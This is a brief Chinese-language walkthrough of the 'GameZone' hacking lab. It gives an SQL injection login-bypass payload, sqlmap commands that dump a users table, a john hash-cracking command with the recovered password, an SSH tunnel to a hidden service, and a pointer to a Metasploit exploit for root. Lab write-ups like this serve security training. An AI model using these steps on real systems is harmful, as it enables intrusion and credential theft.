GameZone

学习入侵这台机器。了解如何使用 SQLMap、破解一些密码、使用反向 SSH 隧道显示服务并将您的权限提升为 root！

考SQL注入
试下万能密码登录
' or 1=1 # ' or 1=1 #

跳转到这了，说明是有注入的
看下这个框框有无注入

sqlmap一把梭

抓包，把注入的参数加个*
sqlmap -r 123.txt --dbs --batch

sqlmap -r 123.txt -D db --tables --batch
sqlmap -r 123.txt -D db -T users --columns --batch
sqlmap -r 123.txt -D db -T users -C username,pwd --dump

hash加密的
hash-identifier 工具找出数据库中使用的哈希类型：

保存txt john破解

1	john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

得到密码videogamer124
linux 的机器，ssh尝试连接

反向 SSH 端口转发指定将远程服务器主机上的给定端口转发到本地端的给定主机和端口。

似乎端口 10000 正在侦听传入连接，尽管它只能从 localhost 进行通信。

设置一个 SSH 隧道，将所有连接到 Kali 主机的 10000 端口重定向到目标主机的 10000 端口：

1	ssh -f -N -L 10000:localhost:10000 agent47@10.10.140.62

可以访问到一个新的公开网络服务器
用先前的账密登录

找exp

msf自带，设置参数开打